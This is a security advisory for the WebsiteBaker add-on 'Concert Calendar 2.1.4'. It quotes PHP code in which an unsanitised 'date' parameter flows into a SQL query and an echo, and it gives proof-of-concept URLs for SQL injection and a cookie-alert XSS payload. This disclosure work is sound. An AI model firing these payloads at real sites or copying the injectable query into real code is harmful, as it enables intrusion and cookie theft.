Advisory: Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi vulnerability
Advisory ID: SSCHADV2013-001
Author: Stefan Schurtz
Affected Software: Successfully tested on Concert Calendar 2.1.4
Vendor URL: http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
Vendor Status: informed
==========================
Vulnerability Description
==========================
Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi vulnerability
==========================
Vuln code
==========================
// view.php
if (isset($_GET['date'])) {
$date = $_GET['date'];
}
.
.
.
// SQLi
$query_dates = mysql_query("SELECT * FROM ".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' && concert_date = '$date'"); // Zeile 184
// XSS
echo " ".switch_date($date, $dateview)." "; // Zeile 176
==========================
PoC-Exploit
==========================
// SQLi (magic_quotes = off)
http://[target]/wb/pages/addon.php?date=[SQLi]
// XSS
http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>
==========================
Solution
==========================
-
==========================
Disclosure Timeline
==========================
01-Jan-2013 - developer informed
==========================
Credits
==========================
Vulnerabilities found and advisory written by Stefan Schurtz.
==========================
References
==========================
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
http://www.darksecurity.de/advisories/2012/SSCHADV2012-022.txt
